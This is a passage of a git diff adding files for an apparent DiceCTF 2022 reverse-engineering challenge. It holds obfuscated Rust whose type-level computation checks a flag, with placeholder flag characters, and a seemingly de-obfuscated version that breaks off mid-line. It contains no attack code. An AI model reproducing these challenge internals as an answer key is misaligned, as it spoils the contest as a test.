DanceGang, + DanceGong: DangGangGang<::DidGong>, + DiceGig::DidGong>>::DidGong, DiceDiceGice>>: DanceGang, +{ + type DidGong = + ::DidGong>>::DidGong, DiceDiceGice>> as DanceGang>::DidGong; +} +impl DanceGang for DiceGig { + type DidGong = DidGongGong; +} +impl DanceGang for DiceGig> +where + DiceDiceGice: DanceGang, +{ + type DidGong = DiceDiceGice; +} +impl DanceGang for DiceGig>> +where + DidDidGig: DanceGang, + DanceGong: DidGigGig<::DidGong>, + DiceGig::DidGong>>::DidGong, DiceDiceGice>>: DanceGang, +{ + type DidGong = + ::DidGong>>::DidGong, DiceDiceGice>> as DanceGang>::DidGong; +} +type DanceGongGong = DidGongGong>>>>>>>>>; +type DidGiceGice = >::DidGong; +trait DiceDiceGong { + const CHAR: char; +} +type Char_ = DangGong; +impl DiceDiceGong for Char_ { + const CHAR: char = '_'; +} +type Char0 = DidGongGong; +impl DiceDiceGong for Char0 { + const CHAR: char = '0'; +} +type Char1 = DidGongGong>; +impl DiceDiceGong for Char1 { + const CHAR: char = '1'; +} +type Char2 = DidGongGong>>; +impl DiceDiceGong for Char2 { + const CHAR: char = '2'; +} +type Char3 = DidGongGong>>>; +impl DiceDiceGong for Char3 { + const CHAR: char = '3'; +} +type Char4 = DidGongGong>>>>; +impl DiceDiceGong for Char4 { + const CHAR: char = '4'; +} +type Char5 = DidGongGong>>>>>; +impl DiceDiceGong for Char5 { + const CHAR: char = '5'; +} +type Char6 = DidGongGong>>>>>>; +impl DiceDiceGong for Char6 { + const CHAR: char = '6'; +} +type Char7 = DidGongGong>>>>>>>; +impl DiceDiceGong for Char7 { + const CHAR: char = '7'; +} +type Char8 = DidGongGong>>>>>>>>; +impl DiceDiceGong for Char8 { + const CHAR: char = '8'; +} +type Char9 = <>>::DidGong as DangGangGang>::DidGong; +impl DiceDiceGong for Char9 { + const CHAR: char = '9'; +} +type CharA = <>>::DidGong as DangGangGang>>::DidGong; +impl DiceDiceGong for CharA { + const CHAR: char = 'a'; +} +type CharB = <>>::DidGong as DangGangGang>>>::DidGong; +impl DiceDiceGong for CharB { + const CHAR: char = 'b'; +} +type CharC = <>>::DidGong as DangGangGang>>>>::DidGong; +impl DiceDiceGong for CharC { + const CHAR: char = 'c'; +} +type CharD = <>>::DidGong as DangGangGang>>>>>::DidGong; +impl DiceDiceGong for CharD { + const CHAR: char = 'd'; +} +type CharE = <>>::DidGong as DangGangGang>>>>>>::DidGong; +impl DiceDiceGong for CharE { + const CHAR: char = 'e'; +} +type CharF = <>>::DidGong as DangGangGang>>>>>>>::DidGong; +impl DiceDiceGong for CharF { + const CHAR: char = 'f'; +} +type CharG = <>>::DidGong as DangGangGang>>>>>>>>::DidGong; +impl DiceDiceGong for CharG { + const CHAR: char = 'g'; +} +type CharH = <>>::DidGong as DangGangGang>>>>>>>>>::DidGong; +impl DiceDiceGong for CharH { + const CHAR: char = 'h'; +} +type CharI = <>>::DidGong as DangGangGang>>>>>>>>>>::DidGong; +impl DiceDiceGong for CharI { + const CHAR: char = 'i'; +} +type CharJ = <>>>::DidGong as DangGangGang>::DidGong; +impl DiceDiceGong for CharJ { + const CHAR: char = 'j'; +} +type CharK = <>>>::DidGong as DangGangGang>>::DidGong; +impl DiceDiceGong for CharK { + const CHAR: char = 'k'; +} +type CharL = <>>>::DidGong as DangGangGang>>>::DidGong; +impl DiceDiceGong for CharL { + const CHAR: char = 'l'; +} +type CharM = <>>>::DidGong as DangGangGang>>>>::DidGong; +impl DiceDiceGong for CharM { + const CHAR: char = 'm'; +} +type CharN = <>>>::DidGong as DangGangGang>>>>>::DidGong; +impl DiceDiceGong for CharN { + const CHAR: char = 'n'; +} +type CharO = <>>>::DidGong as DangGangGang>>>>>>::DidGong; +impl DiceDiceGong for CharO { + const CHAR: char = 'o'; +} +type CharP = <>>>::DidGong as DangGangGang>>>>>>>::DidGong; +impl DiceDiceGong for CharP { + const CHAR: char = 'p'; +} +type CharQ = <>>>::DidGong as DangGangGang>>>>>>>>::DidGong; +impl DiceDiceGong for CharQ { + const CHAR: char = 'q'; +} +type CharR = <>>>::DidGong as DangGangGang>>>>>>>>>::DidGong; +impl DiceDiceGong for CharR { + const CHAR: char = 'r'; +} +type CharS = <>>>::DidGong as DangGangGang>>>>>>>>>>::DidGong; +impl DiceDiceGong for CharS { + const CHAR: char = 's'; +} +type CharT = <>>>>::DidGong as DangGangGang>::DidGong; +impl DiceDiceGong for CharT { + const CHAR: char = 't'; +} +type CharU = <>>>>::DidGong as DangGangGang>>::DidGong; +impl DiceDiceGong for CharU { + const CHAR: char = 'u'; +} +type CharV = <>>>>::DidGong as DangGangGang>>>::DidGong; +impl DiceDiceGong for CharV { + const CHAR: char = 'v'; +} +type CharW = <>>>>::DidGong as DangGangGang>>>>::DidGong; +impl DiceDiceGong for CharW { + const CHAR: char = 'w'; +} +type CharX = <>>>>::DidGong as DangGangGang>>>>>::DidGong; +impl DiceDiceGong for CharX { + const CHAR: char = 'x'; +} +type CharY = <>>>>::DidGong as DangGangGang>>>>>>::DidGong; +impl DiceDiceGong for CharY { + const CHAR: char = 'y'; +} +type CharZ = <>>>>::DidGong as DangGangGang>>>>>>>::DidGong; +impl DiceDiceGong for CharZ { + const CHAR: char = 'z'; +} +type Flag0 = CharX; +type Flag1 = CharX; +type Flag2 = CharX; +type Flag3 = CharX; +type Flag4 = CharX; +type Flag5 = CharX; +type Flag6 = CharX; +type Flag7 = CharX; +type Flag8 = CharX; +type Flag9 = CharX; +type Flag10 = CharX; +type Flag11 = CharX; +type Flag12 = CharX; +type Flag13 = CharX; +type Flag14 = CharX; +type Flag15 = CharX; +type Flag16 = CharX; +type Flag17 = CharX; +type Flag18 = CharX; +type Flag19 = CharX; +type Flag20 = CharX; +type Flag21 = CharX; +type Flag22 = CharX; +type Flag23 = CharX; +type Flag24 = CharX; +type DiceGigGig = DiceGig < DiceGig < DiceGang , DiceGig < Flag11 , DiceGig < Flag13 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag1 , DiceGig < Flag9 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag20 , DiceGig < Flag4 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag0 , DiceGig < Flag5 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag3 , DiceGig < Flag16 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag12 , DiceGig < Flag11 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag18 , DiceGig < Flag17 , DiceGig < DangGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag20 , DiceGig < Flag11 , DiceGig < DangGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag5 , DiceGig < Flag9 , DiceGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag2 , DiceGig < Flag4 , DiceGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag0 , DiceGig < Flag15 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag8 , DiceGig < Flag24 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag11 , DiceGig < Flag7 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag14 , DiceGig < Flag21 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag4 , DiceGig < Flag16 , DiceGig < DangGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag21 , DiceGig < Flag3 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag24 , DiceGig < Flag16 , DiceGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag3 , DiceGig < Flag0 , DiceGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag11 , DiceGig < Flag10 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag7 , DiceGig < Flag15 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < DidGongGong < DangGong > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag18 , DiceGig < Flag5 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > :: DidGong as DangGangGang < DangGong > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag18 , DiceGig < Flag11 , DiceGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag7 , DiceGig < Flag21 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag13 , DiceGig < Flag18 , DiceGig < < < DidGiceGice as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > :: DidGong as DangGangGang < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong as DangGangGang < DidGongGong < DangGong > > > :: DidGong > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag20 , DiceGig < Flag15 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag19 , DiceGig < Flag23 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag14 , DiceGig < Flag20 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag21 , DiceGig < Flag4 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DangGong > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag10 , DiceGig < Flag2 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag20 , DiceGig < Flag10 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag17 , DiceGig < Flag0 , DiceGig < < < DidGiceGice as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > > > :: DidGong > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag22 , DiceGig < Flag23 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < DidGongGong < DangGong > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag15 , DiceGig < Flag18 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag12 , DiceGig < Flag6 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag22 , DiceGig < Flag24 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag0 , DiceGig < Flag23 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag0 , DiceGig < Flag5 , DiceGig < < < DidGiceGice as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag8 , DiceGig < Flag11 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag19 , DiceGig < Flag13 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag7 , DiceGig < Flag12 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DangGong > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag17 , DiceGig < Flag22 , DiceGig < < < DidGiceGice as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong as DangGangGang < DangGong > > :: DidGong > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag16 , DiceGig < Flag14 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag24 , DiceGig < Flag18 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag19 , DiceGig < Flag4 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag24 , DiceGig < Flag3 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > :: DidGong as DangGangGang < DangGong > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag0 , DiceGig < Flag16 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DangGong > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag10 , DiceGig < Flag5 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag20 , DiceGig < Flag19 , DiceGig < DidGongGong < DidGongGong < DangGong > > , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag12 , DiceGig < Flag16 , DiceGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag24 , DiceGig < Flag12 , DiceGig < < < DidGiceGice as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < < < DanceGongGong as DidGigGig < DidGongGong < DangGong > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DangGong > > > > :: DidGong > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag24 , DiceGig < Flag16 , DiceGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag12 , DiceGig < Flag15 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag1 , DiceGig < Flag20 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < DangGong > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag1 , DiceGig < Flag17 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < DangGong > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag5 , DiceGig < Flag11 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGongGong , DiceGig < Flag5 , DiceGig < Flag18 , DiceGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag16 , DiceGig < Flag22 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DangGong > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag14 , DiceGig < Flag3 , DiceGig < < < DidGiceGice as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > :: DidGong as DangGangGang < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > :: DidGong > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DangGice , DiceGig < Flag6 , DiceGig < Flag21 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGig < DiceGig < DiceGang , DiceGig < Flag6 , DiceGig < Flag22 , DiceGig < < < DanceGongGong as DidGigGig < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > :: DidGong as DangGangGang < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DidGongGong < DangGong > > > > > > > > > > :: DidGong , DiceGice > > > > , DiceGice > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ; +fn print_flag() { println!("dice{{{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}}}", Flag0::CHAR, Flag1::CHAR, Flag2::CHAR, Flag3::CHAR, Flag4::CHAR, Flag5::CHAR, Flag6::CHAR, Flag7::CHAR, Flag8::CHAR, Flag9::CHAR, Flag10::CHAR, Flag11::CHAR, Flag12::CHAR, Flag13::CHAR, Flag14::CHAR, Flag15::CHAR, Flag16::CHAR, Flag17::CHAR, Flag18::CHAR, Flag19::CHAR, Flag20::CHAR, Flag21::CHAR, Flag22::CHAR, Flag23::CHAR, Flag24::CHAR); } + +type DangGiceGice = DiceGig< + DanceGiceGice, + DiceGig< + DiceDiceGang, + DiceGig, DiceGice>>>, DiceGice>, + >, +>; +type DangDangGong = DiceGig< + DanceGiceGice, + DiceGig< + DiceDiceGang, + DiceGig, DiceGice>>>, DiceGice>, + >, +>; +type DanceDanceGong = DiceGig< + DangDangGang, + DiceGig< + DiceGig>>, + DiceGig>>, DiceGice>, + >, +>; +type DanceDanceGice = ::DidGong; +fn main() { + print_flag(); + let _: DanceDanceGice = panic!(); +} + diff --git a/dicectf-2022/rev/typed_rev.rs b/dicectf-2022/rev/typed_rev.rs new file mode 100755 index 0000000..6479db8 --- /dev/null +++ b/dicectf-2022/rev/typed_rev.rs @@ -0,0 +1,519 @@ +#![recursion_limit = "10000"] +use std::marker::PhantomData; +struct Succ(PhantomData); +struct Zero; + +type One = Succ; +type Two = Succ; +type Three = Succ; +type Four = Succ; +type Five = Succ; +type Six = Succ; +type Seven = Succ; +type Eight = Succ; +type Nine = Succ; +type Ten = Succ; + +trait Add { + type Result; +} + +impl Add for T { + type Result = T; +} + +impl Add> for T +where + T: Add, +{ + type Result = Succ<>::Result>; +} + + +trait Mult { + type Result; +} + +impl Mult for T { + type Result = Zero; +} + +impl Mult> for T +where + T: Mult, + T: Add<>::Result>, +{ + type Result = >::Result>>::Result; +} + + +trait SubAndAssertPositive { + type Result; +} + +impl SubAndAssertPositive for T { + type Result = T; +} + +impl SubAndAssertPositive> for Succ +where + T: SubAndAssertPositive, +{ + type Result = >::Result; +} + + +trait NotEqual { + type Result; +} + +impl NotEqual for Zero { + type Result = Zero; +} + +impl NotEqual for Succ { + type Result = One; +} + +impl NotEqual> for Zero { + type Result = One; +} + +impl NotEqual> for Succ +where + T: NotEqual, +{ + type Result = >::Result; +} + + +struct Nil; +struct Cons(PhantomData, PhantomData); + + +trait Eval { + type Result; +} + +struct Sum; +impl Eval for Sum { + type Result = Sum; +} + +struct Prod; +impl Eval for Prod { + type Result = Prod; +} + +struct EvalBothAndSub; +impl Eval for EvalBothAndSub { + type Result = EvalBothAndSub; +} + +struct ApplyAll; +impl Eval for ApplyAll { + type Result = ApplyAll; +} + +struct WTF1; +impl Eval for WTF1 { + type Result = WTF1; +} + +struct AssertAllEqual; +impl Eval for AssertAllEqual { + type Result = AssertAllEqual; +} + +struct AssertNotEqual; +impl Eval for AssertNotEqual { + type Result = AssertNotEqual; +} + +struct Map; +impl Eval for Map { + type Result = Map; +} + +struct WeirdEquals; +impl Eval for WeirdEquals { + type Result = WeirdEquals; +} + +struct WeirdNotEquals; +impl Eval for WeirdNotEquals { + type Result = WeirdNotEquals; +} + +struct EveryThird; +impl Eval for EveryThird { + type Result = EveryThird; +} + +struct SkipEveryThird; +impl Eval for SkipEveryThird { + type Result = SkipEveryThird; +} + +struct Apply; +impl Eval for Apply { + type Result = Apply; +} + + +impl Eval for Zero { + type Result = Zero; +} +impl Eval for Succ { + type Result = Succ; +} + + +impl Eval for Cons>> +where + X: Eval, + Y: Eval, + ::Result: SubAndAssertPositive<::Result>, +{ + type Result = <::Result as SubAndAssertPositive<::Result>>::Result; +} + + +impl Eval for Cons> +where + T: Eval, +{ + type Result = ::Result; +} +impl Eval for Cons>> +where + Cons>: Eval, + T: Eval, +{ + type Result = > as Eval>::Result; +} + + +impl Eval for Cons> { + type Result = Zero; +} +impl Eval for Cons>> +where + T: Eval, + U: Eval, + ::Result: SubAndAssertPositive<::Result>, + ::Result: SubAndAssertPositive<::Result>, + Cons>: Eval, +{ + type Result = > as Eval>::Result; +} + + +impl Eval for Cons>> +where + T: Eval, + U: Eval, + ::Result: NotEqual<::Result>, + <::Result as NotEqual<::Result>>::Result: SubAndAssertPositive, +{ + type Result = Zero; +} + + +impl Eval for Cons> { + type Result = Nil; +} +impl Eval for Cons>> +where + Cons>: Eval, + Cons>: Eval, +{ + type Result = + Cons<> as Eval>::Result, > as Eval>::Result>; +} + + +impl Eval for Cons>>>, Nil>> { + type Result = Cons>>, Cons>>; +} + +impl Eval for Cons>>>, Nil>> { + type Result = Cons>>, Cons>>; +} + + +impl Eval for Cons { + type Result = Nil; +} + +impl Eval for Cons>>> +where + Cons: Eval, +{ + type Result = Cons as Eval>::Result>; +} + + +impl Eval for 